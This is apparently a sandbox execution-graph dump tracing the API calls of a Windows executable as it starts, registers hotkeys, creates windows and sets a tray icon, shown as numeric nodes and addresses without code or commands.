                                                              execution_graph 236876 140063c96 236877 140063ca4 236876->236877 236878 140063d92 DefWindowProcW 236876->236878 236883 1400084c0 ioctlsocket 236877->236883 236879 140063da4 236878->236879 236882 140063ca9 236882->236878 236884 140008750 120 API calls _cftof_l 236882->236884 236883->236882 236884->236878 236885 14002a757 GetFileAttributesW 236886 14002a765 236885->236886 236888 14002a77e 236885->236888 236889 1400b9320 236886->236889 236890 1400b933b 236889->236890 236891 1400b9357 236889->236891 236890->236891 236893 1400d9840 89 API calls 236890->236893 236891->236888 236893->236891 236894 14002b316 236895 14002b32a 236894->236895 236896 14002b31d 236894->236896 236898 1400059f0 236896->236898 236901 140005950 236898->236901 236900 140005a04 _RunAllParam 236900->236895 236902 140005980 236901->236902 236903 1400059b6 236902->236903 236905 1400059b0 CloseHandle 236902->236905 236904 1400059d6 236903->236904 236907 1400d6fd8 62 API calls 2 library calls 236903->236907 236904->236900 236905->236903 236907->236904 236908 1400da708 GetStartupInfoW 236910 1400da737 236908->236910 236948 1400dc058 HeapCreate 236910->236948 236912 1400da79e 236953 1400db744 236912->236953 236913 1400da78a 237039 1400dbdb4 62 API calls 5 library calls 236913->237039 236914 1400da785 237038 1400dc014 62 API calls 2 library calls 236914->237038 236919 1400da794 237040 1400d7334 GetModuleHandleW GetProcAddress ExitProcess _amsg_exit 236919->237040 236920 1400da7c9 _RTC_Initialize 236969 1400e258c GetStartupInfoW 236920->236969 236922 1400da7b0 237041 1400dc014 62 API calls 2 library calls 236922->237041 236923 1400da7b5 237042 1400dbdb4 62 API calls 5 library calls 236923->237042 236927 1400da7bf 237043 1400d7334 GetModuleHandleW GetProcAddress ExitProcess _amsg_exit 236927->237043 236930 1400da7e2 GetCommandLineW 236982 1400e2504 GetEnvironmentStringsW 236930->236982 236936 1400da80e 236995 1400e2144 236936->236995 236940 1400da821 237009 1400d7418 236940->237009 236943 1400da82b 236944 1400da836 _wwincmdln 236943->236944 237047 1400d7690 62 API calls 2 library calls 236943->237047 237015 140005a20 SetErrorMode 236944->237015 236947 1400da85c 236949 1400dc080 GetVersion 236948->236949 236950 1400da778 236948->236950 236951 1400dc08a HeapSetInformation 236949->236951 236952 1400dc0a4 236949->236952 236950->236912 236950->236913 236950->236914 236951->236952 236952->236950 237048 1400d7364 236953->237048 236955 1400db74f 237052 1400dc220 236955->237052 236958 1400db7b8 237062 1400db488 65 API calls free 236958->237062 236959 1400db758 FlsAlloc 236959->236958 236960 1400db770 236959->236960 237056 1400ded28 236960->237056 236964 1400da7a3 236964->236920 236964->236922 236964->236923 236965 1400db787 FlsSetValue 236965->236958 236966 1400db79a 236965->236966 237061 1400db4b0 62 API calls 3 library calls 236966->237061 236968 1400db7a4 GetCurrentThreadId 236968->236964 236970 1400ded28 __onexitinit 62 API calls 236969->236970 236981 1400e25c2 236970->236981 236971 1400da7d4 236971->236930 237044 1400d7690 62 API calls 2 library calls 236971->237044 236972 1400e2799 GetStdHandle 236977 1400e2774 236972->236977 236973 1400e27c9 GetFileType 236973->236977 236974 1400ded28 __onexitinit 62 API calls 236974->236981 236975 1400e26e9 236975->236977 236979 1400e2714 GetFileType 236975->236979 236980 1400e2722 InitializeCriticalSectionAndSpinCount 236975->236980 236976 1400e2832 SetHandleCount 236976->236971 236977->236972 236977->236973 236977->236976 236978 1400e27f3 InitializeCriticalSectionAndSpinCount 236977->236978 236978->236971 236978->236977 236979->236975 236979->236980 236980->236971 236980->236975 236981->236971 236981->236974 236981->236975 236981->236977 236981->236981 236983 1400da7f4 236982->236983 236985 1400e2528 236982->236985 236989 1400e2414 GetModuleFileNameW 236983->236989 236984 1400e253f 237074 1400deca8 62 API calls realloc 236984->237074 236985->236984 236985->236985 236987 1400e254f _cftof_l 236988 1400e2568 FreeEnvironmentStringsW 236987->236988 236988->236983 236990 1400e2454 __wsetargv 236989->236990 236991 1400da800 236990->236991 236992 1400e24af 236990->236992 236991->236936 237045 1400d7690 62 API calls 2 library calls 236991->237045 237075 1400deca8 62 API calls realloc 236992->237075 236994 1400e24b4 __wsetargv 236994->236991 236996 1400da813 236995->236996 236997 1400e2177 _amsg_exit 236995->236997 236996->236940 237046 1400d7690 62 API calls 2 library calls 236996->237046 236998 1400ded28 __onexitinit 62 API calls 236997->236998 237005 1400e21a4 _amsg_exit 236998->237005 236999 1400e220c 237077 1400d6fd8 62 API calls 2 library calls 236999->237077 237001 1400ded28 __onexitinit 62 API calls 237001->237005 237002 1400e2261 237079 1400d6fd8 62 API calls 2 library calls 237002->237079 237005->236996 237005->236999 237005->237001 237005->237002 237006 1400e224c 237005->237006 237076 1400dfc28 62 API calls 2 library calls 237005->237076 237078 1400db9f4 16 API calls _fltout2 237006->237078 237011 1400d742e _cinit 237009->237011 237080 1400dc7c0 237011->237080 237012 1400d744b _initterm_e 237014 1400d746e _cinit 237012->237014 237083 1400d8478 237012->237083 237014->236943 237102 140071040 237015->237102 237019 140005a63 _cftof_l 237113 140005ae0 FindResourceExW 237019->237113 237021 140005aa9 237021->236947 237022 140005a92 237022->237021 237139 140005fd0 237022->237139 237026 140005ac3 237026->237021 237027 1400062ac 237026->237027 237030 140006260 237026->237030 237161 140015370 237027->237161 237207 14000d170 133 API calls 3 library calls 237030->237207 237033 14000627c 237033->237027 237208 140008500 116 API calls 237033->237208 237035 14000629c 237035->237027 237209 140008750 120 API calls _cftof_l 237035->237209 237036 1400062b7 237036->236947 237038->236913 237039->236919 237041->236923 237042->236927 237063 1400db47c EncodePointer 237048->237063 237050 1400d736f _initp_misc_winsig 237051 1400dc4bc EncodePointer 237050->237051 237051->236955 237053 1400dc243 237052->237053 237054 1400dc249 InitializeCriticalSectionAndSpinCount 237053->237054 237055 1400db754 237053->237055 237054->237053 237054->237055 237055->236958 237055->236959 237057 1400ded4d 237056->237057 237059 1400db77f 237057->237059 237060 1400ded6b Sleep 237057->237060 237064 1400ddf70 237057->237064 237059->236958 237059->236965 237060->237057 237060->237059 237061->236968 237062->236964 237065 1400ddf85 237064->237065 237067 1400ddfa2 237064->237067 237066 1400ddf93 237065->237066 237065->237067 237072 1400dbb00 62 API calls _errno 237066->237072 237069 1400ddfba HeapAlloc 237067->237069 237070 1400ddf98 237067->237070 237073 1400dc0b8 DecodePointer 237067->237073 237069->237067 237069->237070 237070->237057 237072->237070 237073->237067 237074->236987 237075->236994 237076->237005 237077->236996 237079->236996 237081 1400dc7d6 EncodePointer 237080->237081 237081->237081 237082 1400dc7eb 237081->237082 237082->237012 237086 1400d836c 237083->237086 237085 1400d8481 237085->237014 237101 1400d734c 237086->237101 237088 1400d838d DecodePointer DecodePointer 237089 1400d83b7 237088->237089 237092 1400d8452 _cinit 237088->237092 237090 1400d8898 _cinit 63 API calls 237089->237090 237089->237092 237091 1400d83d3 237090->237091 237093 1400d8430 EncodePointer EncodePointer 237091->237093 237094 1400d8400 237091->237094 237095 1400d83ef 237091->237095 237092->237085 237093->237092 237094->237092 237097 1400d83f7 237094->237097 237096 1400dedac _cinit 66 API calls 237095->237096 237096->237097 237097->237094 237098 1400dedac _cinit 66 API calls 237097->237098 237099 1400d8418 EncodePointer 237097->237099 237100 1400d8413 237098->237100 237099->237093 237100->237092 237100->237099 237210 1400e0af0 237102->237210 237105 140071066 237106 140005a3d 237105->237106 237212 140086db0 73 API calls 2 library calls 237105->237212 237108 1400b5ff0 237106->237108 237109 1400b6095 237108->237109 237110 1400b6009 237108->237110 237109->237019 237110->237109 237213 1400b60b0 237110->237213 237112 1400b6042 _cftof_l 237112->237019 237138 140005b10 237113->237138 237114 140005e04 237264 140006370 237114->237264 237117 140005e30 wcsncpy 237120 140005ea5 237117->237120 237122 140005ef5 237117->237122 237131 140005cfc 237117->237131 237332 1400d6a8c 62 API calls 2 library calls 237117->237332 237120->237122 237333 1400d6a8c 62 API calls 2 library calls 237120->237333 237121 140005f28 237121->237131 237280 1400b0da0 237121->237280 237122->237121 237334 14003c140 237122->237334 237124 1400d7260 64 API calls 237124->237138 237130 1400d6a8c 62 API calls 237130->237138 237131->237022 237132 1400d7728 73 API calls 237132->237138 237135 140006820 73 API calls 237135->237138 237137 1400b65c0 75 API calls 237137->237138 237138->237114 237138->237124 237138->237130 237138->237131 237138->237132 237138->237135 237138->237137 237322 140028110 67 API calls 237138->237322 237323 1400058e0 GetCPInfo 237138->237323 237324 1400b6b50 237138->237324 237331 1400057f0 65 API calls 237138->237331 237141 140005ff4 237139->237141 237140 1400060b1 237142 1400060be FindWindowW 237140->237142 237143 140005ab5 237140->237143 237141->237140 237141->237142 237141->237143 237144 14000604e FindWindowW 237141->237144 237142->237143 237149 14000606a 237142->237149 237143->237021 237151 140006180 237143->237151 237144->237140 237144->237149 237145 1400060e3 PostMessageW Sleep IsWindow 237146 140006151 Sleep 237145->237146 237150 140006110 237145->237150 237146->237143 237147 140006075 237147->237143 237148 140006137 Sleep IsWindow 237148->237146 237148->237150 237149->237145 237149->237147 237150->237147 237150->237148 237472 1400291a0 237151->237472 237153 140006190 237154 140006194 237153->237154 237155 140006199 SystemParametersInfoW 237153->237155 237154->237026 237156 1400061b4 237155->237156 237158 1400061d3 237155->237158 237157 1400061bd SystemParametersInfoW 237156->237157 237156->237158 237157->237158 237159 1400d6f18 realloc 62 API calls 237158->237159 237160 1400061f5 _vsnprintf_l 237158->237160 237159->237160 237160->237026 237168 1400153b3 _vsnprintf_l _wcsupr_s_l 237161->237168 237163 140015824 237528 140013050 237163->237528 237165 140015467 UnregisterHotKey 237165->237168 237166 1400157c4 UnregisterHotKey 237170 1400154ee 237166->237170 237168->237165 237168->237170 237542 14000f080 62 API calls 237168->237542 237169 1400062b1 237174 140029980 237169->237174 237170->237163 237170->237166 237172 140015790 RegisterHotKey 237170->237172 237543 1400d6a8c 62 API calls 2 library calls 237170->237543 237171 140015888 SetTimer 237171->237169 237172->237170 237175 1400d6f18 realloc 62 API calls 237174->237175 237176 14002999e _cftof_l 237175->237176 237177 1400299ad 237176->237177 237178 1400299d7 SetTimer 237176->237178 237177->237036 237179 140029a16 GetTickCount 237178->237179 237186 140029a09 237178->237186 237180 140029a71 GetTickCount 237179->237180 237181 140029a4a SetTimer 237179->237181 237183 140029aa5 237180->237183 237184 140029aa0 237180->237184 237181->237180 237182 140029ba1 _cftof_l _RunAllParam 237188 140029c6f 237182->237188 237189 140029c90 237182->237189 237548 140040110 237183->237548 237560 1400073f0 65 API calls realloc 237184->237560 237186->237182 237561 1400d6fd8 62 API calls 2 library calls 237186->237561 237192 1400bd650 94 API calls 237188->237192 237194 140029cc6 237189->237194 237195 140029cb6 237189->237195 237200 140029c8b _cftof_l 237192->237200 237193 140029b3a KillTimer 237193->237186 237197 140029cfd 237194->237197 237199 140029d11 237194->237199 237194->237200 237562 140006d20 21 API calls 2 library calls 237195->237562 237563 1400bdd00 62 API calls free 237197->237563 237199->237200 237201 140029d70 237199->237201 237202 140029d53 237199->237202 237200->237036 237203 1400b60b0 73 API calls 237201->237203 237202->237200 237205 140029e7b 237202->237205 237564 1400d6fd8 62 API calls 2 library calls 237202->237564 237203->237200 237205->237200 237206 1400d6f18 realloc 62 API calls 237205->237206 237206->237200 237207->237033 237208->237035 237209->237027 237211 14007104c GetCurrentDirectoryW 237210->237211 237211->237105 237212->237106 237214 1400b60c5 237213->237214 237218 1400b60f2 237213->237218 237215 1400b60d4 237214->237215 237219 1400b6140 237214->237219 237217 1400b6140 73 API calls 237215->237217 237215->237218 237217->237218 237218->237112 237224 1400d7728 237219->237224 237223 1400b616a _RunAllParam 237223->237215 237227 1400d7733 237224->237227 237225 1400d6f18 realloc 62 API calls 237225->237227 237226 1400b6150 237226->237223 237236 1400d6f18 237226->237236 237227->237225 237227->237226 237230 1400d7752 237227->237230 237253 1400dc0b8 DecodePointer 237227->237253 237229 1400d77a3 237254 1400dcc78 62 API calls std::exception::operator= 237229->237254 237230->237229 237233 1400d8478 _cinit 72 API calls 237230->237233 237232 1400d77b4 237255 1400dcd4c RaiseException _cftof_l 237232->237255 237233->237229 237235 1400d77ca 237237 1400d6fac 237236->237237 237250 1400d6f30 237236->237250 237262 1400dc0b8 DecodePointer 237237->237262 237239 1400d6f68 HeapAlloc 237239->237250 237252 1400d6fa1 237239->237252 237240 1400d6f48 237240->237239 237256 1400dc014 62 API calls 2 library calls 237240->237256 237257 1400dbdb4 62 API calls 5 library calls 237240->237257 237258 1400d7334 GetModuleHandleW GetProcAddress ExitProcess _amsg_exit 237240->237258 237241 1400d6fb1 237263 1400dbb00 62 API calls _errno 237241->237263 237244 1400d6f91 237260 1400dbb00 62 API calls _errno 237244->237260 237248 1400d6f96 237261 1400dbb00 62 API calls _errno 237248->237261 237250->237239 237250->237240 237250->237244 237250->237248 237259 1400dc0b8 DecodePointer 237250->237259 237252->237223 237253->237227 237254->237232 237255->237235 237256->237240 237257->237240 237259->237250 237260->237248 237261->237252 237262->237241 237263->237252 237265 140006774 237264->237265 237276 1400063b0 _cftof_l 237264->237276 237266 14003be40 62 API calls 237265->237266 237267 1400067a7 237266->237267 237269 14003c140 100 API calls 237267->237269 237271 14000676d 237267->237271 237269->237271 237271->237117 237272 14003c140 100 API calls 237272->237276 237276->237265 237276->237271 237276->237272 237277 1400b60b0 73 API calls 237276->237277 237279 1400d6f18 realloc 62 API calls 237276->237279 237361 1400d77f8 89 API calls 4 library calls 237276->237361 237362 14003be40 237276->237362 237378 1400bd650 237276->237378 237397 140006d20 21 API calls 2 library calls 237276->237397 237398 1400bdd00 62 API calls free 237276->237398 237399 1400d6fd8 62 API calls 2 library calls 237276->237399 237277->237276 237279->237276 237281 1400b0ddd _wcsupr_s_l 237280->237281 237282 1400d7728 73 API calls 237281->237282 237283 1400b0e59 237282->237283 237285 140005f51 237283->237285 237407 1400b1260 237283->237407 237285->237131 237286 1400bd9d0 237285->237286 237287 1400bd9e6 237286->237287 237288 140005f61 237287->237288 237440 1400d6fd8 62 API calls 2 library calls 237287->237440 237290 140028d30 237288->237290 237291 1400e0af0 _wcsupr_s_l 237290->237291 237292 140028d47 GetModuleFileNameW 237291->237292 237293 140028d72 237292->237293 237304 140028dd3 237292->237304 237294 1400b5ff0 73 API calls 237293->237294 237295 140028d7b 237293->237295 237301 140028d95 237294->237301 237295->237131 237296 140028ff8 237296->237295 237298 140029021 237296->237298 237441 1400ba580 237296->237441 237297 140028f66 237297->237296 237299 140028fcf GetFullPathNameW 237297->237299 237302 1400b60b0 73 API calls 237298->237302 237305 140029050 _cftof_l 237298->237305 237299->237295 237299->237296 237301->237295 237303 1400b5ff0 73 API calls 237301->237303 237301->237304 237302->237305 237303->237304 237304->237295 237304->237297 237306 140028e82 GetFileAttributesW 237304->237306 237305->237295 237307 1400b5ff0 73 API calls 237305->237307 237309 1400290d4 237305->237309 237306->237297 237308 140028e9f 237306->237308 237307->237309 237445 140076ad0 SHGetFolderPathW 237308->237445 237309->237295 237310 1400b5ff0 73 API calls 237309->237310 237312 1400290f9 237310->237312 237312->237295 237314 14002914a 237312->237314 237447 1400b9390 89 API calls 237312->237447 237313 140028eb1 237313->237295 237315 140028ef1 GetFileAttributesW 237313->237315 237317 1400b5ff0 73 API calls 237314->237317 237315->237297 237318 140028f01 SetCurrentDirectoryW GetFileAttributesW 237315->237318 237317->237295 237318->237297 237319 140028f20 237318->237319 237446 14004fa70 139 API calls 4 library calls 237319->237446 237321 140028f5e 237321->237295 237321->237297 237322->237138 237323->237138 237325 1400b6b7b GetCPInfo 237324->237325 237326 1400b6b90 237324->237326 237325->237326 237328 1400b6c45 237326->237328 237329 1400b6bc7 237326->237329 237456 1400b68a0 237326->237456 237328->237138 237329->237328 237330 1400b6c37 GetCPInfo 237329->237330 237330->237328 237332->237117 237333->237120 237335 14003c164 wcsncpy 237334->237335 237353 14003c18b _cftof_l 237334->237353 237338 1400b9320 89 API calls 237335->237338 237340 14003c21c 237335->237340 237335->237353 237338->237340 237339 14003c341 237341 1400b5ff0 73 API calls 237339->237341 237340->237353 237464 14003c7f0 237340->237464 237347 14003c353 237341->237347 237342 14003c2b4 237345 14003be40 62 API calls 237342->237345 237342->237353 237344 14003c2ac 237344->237339 237344->237342 237348 14003c2fa 237345->237348 237346 14003c392 237350 1400b6140 73 API calls 237346->237350 237346->237353 237355 14003c3bc _cftof_l 237346->237355 237347->237346 237349 1400b6140 73 API calls 237347->237349 237347->237353 237351 14003c140 100 API calls 237348->237351 237348->237353 237349->237346 237350->237355 237351->237353 237352 14003c508 237352->237353 237354 1400d7018 realloc 65 API calls 237352->237354 237353->237121 237357 14003c5b7 237354->237357 237355->237352 237355->237353 237355->237357 237358 1400d6f18 realloc 62 API calls 237355->237358 237357->237353 237360 14003c66f _cftof_l 237357->237360 237469 1400d6a8c 62 API calls 2 library calls 237357->237469 237358->237352 237360->237353 237470 1400d6a8c 62 API calls 2 library calls 237360->237470 237361->237276 237364 14003be75 wcsncpy 237362->237364 237376 14003be69 237362->237376 237367 14003bf49 237364->237367 237364->237376 237400 1400d6a8c 62 API calls 2 library calls 237364->237400 237366 14003bfc4 237368 14003c014 237366->237368 237369 14003c050 237366->237369 237366->237376 237367->237366 237367->237376 237401 1400d6a8c 62 API calls 2 library calls 237367->237401 237370 14003be40 62 API calls 237368->237370 237371 14003c099 237369->237371 237372 14003c06e 237369->237372 237370->237376 237371->237376 237377 14003c0ce 237371->237377 237402 1400d6a8c 62 API calls 2 library calls 237371->237402 237373 14003be40 62 API calls 237372->237373 237373->237376 237375 14003be40 62 API calls 237375->237376 237376->237276 237377->237375 237377->237376 237379 1400bd67a 237378->237379 237380 1400bd6f4 237379->237380 237383 1400bd726 237379->237383 237381 1400bd709 237380->237381 237382 1400bd6f9 237380->237382 237404 140006de0 GlobalAlloc GlobalLock GlobalFree 237381->237404 237403 140006d20 21 API calls 2 library calls 237382->237403 237384 1400bd768 237383->237384 237389 1400bd781 237383->237389 237391 1400bd704 _cftof_l 237383->237391 237405 1400bdd00 62 API calls free 237384->237405 237388 1400bd718 237388->237391 237390 1400bd7e1 237389->237390 237389->237391 237392 1400bd7c4 237389->237392 237394 1400b60b0 73 API calls 237390->237394 237391->237276 237392->237391 237393 1400bd907 237392->237393 237406 1400d6fd8 62 API calls 2 library calls 237392->237406 237393->237391 237396 1400d6f18 realloc 62 API calls 237393->237396 237394->237391 237396->237391 237397->237276 237398->237276 237399->237276 237400->237364 237401->237367 237402->237371 237403->237391 237404->237388 237405->237391 237406->237393 237409 1400b129a 237407->237409 237408 1400b12d2 _cftof_l 237411 1400b134d 237408->237411 237433 1400b2730 145 API calls free 237408->237433 237409->237408 237413 1400d7018 237409->237413 237411->237285 237414 1400d703c 237413->237414 237415 1400d7032 237413->237415 237416 1400d7041 237414->237416 237429 1400d7048 237414->237429 237417 1400d6f18 realloc 62 API calls 237415->237417 237434 1400d6fd8 62 API calls 2 library calls 237416->237434 237428 1400d703a _expand 237417->237428 237419 1400d704e RtlReAllocateHeap 237419->237428 237419->237429 237420 1400d7091 237436 1400dc0b8 DecodePointer 237420->237436 237422 1400d70cf 237439 1400dbb00 62 API calls _errno 237422->237439 237423 1400d7099 237437 1400dbb00 62 API calls _errno 237423->237437 237427 1400d70d4 GetLastError 237427->237428 237428->237408 237429->237419 237429->237420 237429->237422 237430 1400d70b6 237429->237430 237435 1400dc0b8 DecodePointer 237429->237435 237438 1400dbb00 62 API calls _errno 237430->237438 237432 1400d70bb GetLastError 237432->237428 237433->237408 237434->237428 237435->237429 237436->237423 237437->237428 237438->237432 237439->237427 237440->237288 237442 1400ba590 _wcsupr_s_l 237441->237442 237443 1400ba5ac _cftof_l 237442->237443 237448 1400ba370 237442->237448 237443->237298 237445->237313 237446->237321 237447->237314 237449 1400ba393 _cftof_l 237448->237449 237450 1400ba4eb 237449->237450 237451 1400ba470 FindFirstFileW 237449->237451 237455 1400ba3ea _cftof_l 237449->237455 237452 1400ba4f1 FindFirstFileW 237450->237452 237450->237455 237453 1400ba48e FindClose 237451->237453 237451->237455 237454 1400ba509 FindClose 237452->237454 237452->237455 237453->237449 237453->237455 237454->237455 237455->237443 237457 1400b68b9 237456->237457 237458 1400b68c0 237456->237458 237459 1400d6f18 realloc 62 API calls 237457->237459 237460 1400b68c9 237458->237460 237463 1400b76d0 ReadFile 237458->237463 237459->237458 237460->237329 237461 1400b68f6 237461->237329 237463->237461 237467 14003c811 237464->237467 237465 14003c288 237465->237339 237465->237342 237468 1400d6a8c 62 API calls 2 library calls 237465->237468 237467->237465 237471 1400d6a8c 62 API calls 2 library calls 237467->237471 237468->237344 237469->237357 237470->237360 237471->237467 237473 140029613 237472->237473 237474 1400291be _vsnprintf_l 237472->237474 237473->237153 237474->237473 237501 1400bb4b0 237474->237501 237477 1400bb4b0 13 API calls 237478 140029255 LoadCursorW RegisterClassExW 237477->237478 237479 1400292b0 RegisterClassExW 237478->237479 237487 1400292d7 237478->237487 237480 1400292fb GetForegroundWindow 237479->237480 237479->237487 237481 14002933d CreateWindowExW 237480->237481 237482 14002930e GetClassNameW 237480->237482 237486 1400293bb 237481->237486 237481->237487 237482->237481 237483 140029329 237482->237483 237525 1400d6a8c 62 API calls 2 library calls 237483->237525 237488 1400293c4 GetMenu EnableMenuItem 237486->237488 237489 140029401 CreateWindowExW 237486->237489 237487->237153 237490 1400293fa 237488->237490 237491 1400293ed 237488->237491 237489->237487 237492 140029498 9 API calls 237489->237492 237490->237489 237526 140029710 EnableMenuItem EnableMenuItem EnableMenuItem EnableMenuItem 237491->237526 237493 1400295c3 LoadAcceleratorsW 237492->237493 237494 14002959d ShowWindow SetWindowLongW 237492->237494 237496 1400295e5 237493->237496 237497 1400295ee 237493->237497 237494->237493 237496->237487 237499 1400295ff 237496->237499 237521 140029770 237497->237521 237527 140029620 PostMessageW SetClipboardViewer ChangeClipboardChain 237499->237527 237502 1400bb4ee 237501->237502 237503 1400bb4dd LoadLibraryExW 237501->237503 237504 1400bb6a1 237502->237504 237505 1400bb51e EnumResourceNamesW 237502->237505 237506 1400bb512 237502->237506 237503->237502 237507 1400bb6d2 ExtractIconW 237504->237507 237508 14002922c GetSystemMetrics 237504->237508 237505->237506 237509 1400bb55f FindResourceW 237506->237509 237511 1400bb687 237506->237511 237507->237508 237508->237477 237510 1400bb577 LoadResource 237509->237510 237509->237511 237510->237511 237512 1400bb58c LockResource 237510->237512 237511->237504 237513 1400bb6ab FreeLibrary 237511->237513 237512->237511 237514 1400bb5a1 237512->237514 237513->237504 237515 1400bb5ac GetSystemMetrics 237514->237515 237516 1400bb5b7 237514->237516 237515->237516 237516->237511 237517 1400bb619 FindResourceW 237516->237517 237517->237511 237518 1400bb633 LoadResource 237517->237518 237518->237511 237519 1400bb644 LockResource 237518->237519 237519->237511 237520 1400bb655 SizeofResource CreateIconFromResourceEx 237519->237520 237520->237511 237522 14002979b _vsnprintf_l wcsncpy 237521->237522 237523 140029826 Shell_NotifyIconW 237522->237523 237524 140029842 237523->237524 237524->237496 237525->237481 237527->237487 237532 14001307e 237528->237532 237529 140013223 237544 140014790 62 API calls free 237529->237544 237531 140013228 237531->237169 237531->237171 237532->237529 237533 1400d6f18 realloc 62 API calls 237532->237533 237536 140013144 _vsnprintf_l 237532->237536 237534 140013131 237533->237534 237534->237529 237534->237536 237535 14001367e 237541 1400136ac 237535->237541 237546 1400d8c80 62 API calls _errno 237535->237546 237536->237535 237536->237541 237545 14000f080 62 API calls 237536->237545 237539 140013e45 237547 140014030 76 API calls 237539->237547 237541->237539 237542->237168 237543->237170 237544->237531 237545->237536 237546->237541 237547->237531 237557 140029afc 237548->237557 237559 140040190 237548->237559 237549 1400401fa GetTickCount 237552 140040219 PeekMessageW 237549->237552 237549->237559 237550 1400401e7 CloseClipboard 237550->237549 237551 1400401d3 GlobalUnlock 237551->237550 237553 140040242 GetTickCount 237552->237553 237552->237559 237553->237559 237554 14004030c GetTickCount 237554->237559 237557->237186 237557->237193 237558 140040110 201 API calls 237558->237559 237559->237549 237559->237550 237559->237551 237559->237553 237559->237554 237559->237557 237559->237558 237565 140096c00 237559->237565 237594 1400082a0 121 API calls _RunAllParam 237559->237594 237560->237183 237561->237182 237562->237200 237563->237200 237564->237205 237566 140096c31 _cftof_l 237565->237566 237567 140096c28 237565->237567 237569 140096c6d 237566->237569 237570 140096c93 237566->237570 237572 140096c3a 237566->237572 237663 140097110 150 API calls 237567->237663 237664 14004e250 123 API calls _wcsupr_s_l 237569->237664 237571 140096d2a 237570->237571 237575 140096cdb 237570->237575 237665 1400d6fd8 62 API calls 2 library calls 237570->237665 237578 140096d92 237571->237578 237580 140096f8a 237571->237580 237595 140093390 237571->237595 237667 1400975e0 146 API calls _cftof_l 237571->237667 237668 140097450 148 API calls 237571->237668 237669 1400bdaa0 145 API calls _cftof_l 237571->237669 237572->237559 237574 140096c86 237574->237559 237577 1400d6f18 realloc 62 API calls 237575->237577 237579 140096cf3 237577->237579 237591 140097069 237578->237591 237671 1400d6fd8 62 API calls 2 library calls 237578->237671 237579->237571 237581 140096d02 237579->237581 237580->237578 237670 140001820 145 API calls 237580->237670 237666 14004e250 123 API calls _wcsupr_s_l 237581->237666 237585 1400970a1 GetTickCount 237587 1400970c0 SetTimer 237585->237587 237588 1400970b7 237585->237588 237590 140096d25 237587->237590 237588->237587 237588->237590 237590->237559 237591->237585 237591->237590 237594->237559 237660 1400933b9 _wcsupr_s_l _cftof_l 237595->237660 237596 140095797 237597 1400957b4 237596->237597 237598 140095b2e 237596->237598 237645 1400956b3 _cftof_l 237596->237645 237597->237645 237724 1400bc930 94 API calls 3 library calls 237597->237724 237600 140095b54 237598->237600 237605 140095b71 237598->237605 237598->237645 237602 1400bd650 94 API calls 237600->237602 237602->237645 237607 140095bb0 237605->237607 237608 140095ba0 237605->237608 237606 140095745 237606->237645 237723 1400be190 62 API calls free 237606->237723 237616 140095bd6 237607->237616 237618 140095c48 237607->237618 237607->237645 237725 140006d20 21 API calls 2 library calls 237608->237725 237612 140006ac0 81 API calls 237612->237660 237613 14003be40 62 API calls 237613->237660 237615 14009395b GetEnvironmentVariableW 237615->237660 237616->237645 237726 1400d6fd8 62 API calls 2 library calls 237616->237726 237617 140095696 237717 14004e250 123 API calls _wcsupr_s_l 237617->237717 237625 140095c9d 237618->237625 237635 140095c7d 237618->237635 237618->237645 237619 1400bdaa0 145 API calls 237619->237660 237620 14009582a 237620->237571 237622 140093631 GetEnvironmentVariableW 237622->237660 237624 14003c140 100 API calls 237624->237660 237634 1400b60b0 73 API calls 237625->237634 237626 140001820 145 API calls 237626->237660 237627 1400956b8 237628 1400956ca 237627->237628 237718 1400d6fd8 62 API calls 2 library calls 237627->237718 237628->237645 237719 1400be190 62 API calls free 237628->237719 237629 1400d6f0c 63 API calls 237629->237660 237631 140095db4 237642 1400d6f18 realloc 62 API calls 237631->237642 237631->237645 237633 140085df0 124 API calls 237633->237660 237634->237645 237635->237631 237635->237645 237727 1400d6fd8 62 API calls 2 library calls 237635->237727 237636 140085630 65 API calls 237636->237660 237638 14009570b 237721 14004e250 123 API calls _wcsupr_s_l 237638->237721 237641 140085a80 89 API calls 237641->237660 237642->237645 237643 1400d6b94 65 API calls 237643->237660 237644 1400956ea 237644->237645 237720 1400be190 62 API calls free 237644->237720 237645->237620 237728 1400d6fd8 62 API calls 2 library calls 237645->237728 237646 1400bdeb0 98 API calls 237646->237660 237647 1400bd650 94 API calls 237647->237660 237648 1400be190 62 API calls 237648->237660 237649 1400859c0 66 API calls 237649->237660 237651 1400d6e9c 63 API calls _wcstoi64 237651->237660 237652 140095728 237722 14004e250 123 API calls _wcsupr_s_l 237652->237722 237654 140085920 65 API calls 237654->237660 237658 1400943dc 237658->237571 237658->237658 237659 1400b60b0 73 API calls 237659->237660 237660->237596 237660->237598 237660->237606 237660->237612 237660->237613 237660->237615 237660->237617 237660->237619 237660->237622 237660->237624 237660->237626 237660->237627 237660->237628 237660->237629 237660->237633 237660->237636 237660->237638 237660->237641 237660->237643 237660->237644 237660->237645 237660->237646 237660->237647 237660->237648 237660->237649 237660->237651 237660->237652 237660->237654 237660->237658 237660->237659 237662 1400d6f18 62 API calls realloc 237660->237662 237672 1400962c0 237660->237672 237709 140085e60 146 API calls 237660->237709 237710 1400082a0 121 API calls _RunAllParam 237660->237710 237711 140006d20 21 API calls 2 library calls 237660->237711 237712 1400bdd00 62 API calls free 237660->237712 237713 1400d6fd8 62 API calls 2 library calls 237660->237713 237714 1400bc930 94 API calls 3 library calls 237660->237714 237715 1400d94fc 63 API calls 6 library calls 237660->237715 237716 1400245c0 148 API calls _wcstoi64 237660->237716 237662->237660 237663->237566 237664->237574 237665->237575 237666->237590 237667->237571 237668->237571 237669->237571 237670->237580 237671->237591 237673 14009633b 237672->237673 237693 140096386 _wcsupr_s_l 237672->237693 237792 140085df0 124 API calls 237673->237792 237674 140096490 237729 1400b40b0 237674->237729 237745 140069327 237674->237745 237767 140069310 237674->237767 237676 14009636a 237793 1400e92a8 237676->237793 237677 140096538 237694 140096561 _cftof_l 237677->237694 237802 1400bdfe0 62 API calls realloc 237677->237802 237679 1400969cc 237680 140096ae4 237679->237680 237682 140096a5f 237679->237682 237683 1400969f4 237679->237683 237684 140096af9 237680->237684 237808 1400073f0 65 API calls realloc 237680->237808 237686 1400d7728 73 API calls 237682->237686 237807 1400af860 73 API calls 2 library calls 237683->237807 237786 140050780 237684->237786 237698 140096a01 237686->237698 237690 14009646d 237690->237660 237691 1400964c9 237691->237677 237691->237694 237801 140007370 145 API calls 237691->237801 237693->237674 237693->237690 237693->237691 237694->237679 237694->237690 237695 1400bd650 94 API calls 237694->237695 237696 1400bc930 94 API calls 237694->237696 237703 1400b60b0 73 API calls 237694->237703 237705 1400d6f18 realloc 62 API calls 237694->237705 237803 1400249d0 148 API calls 237694->237803 237804 140006d20 21 API calls 2 library calls 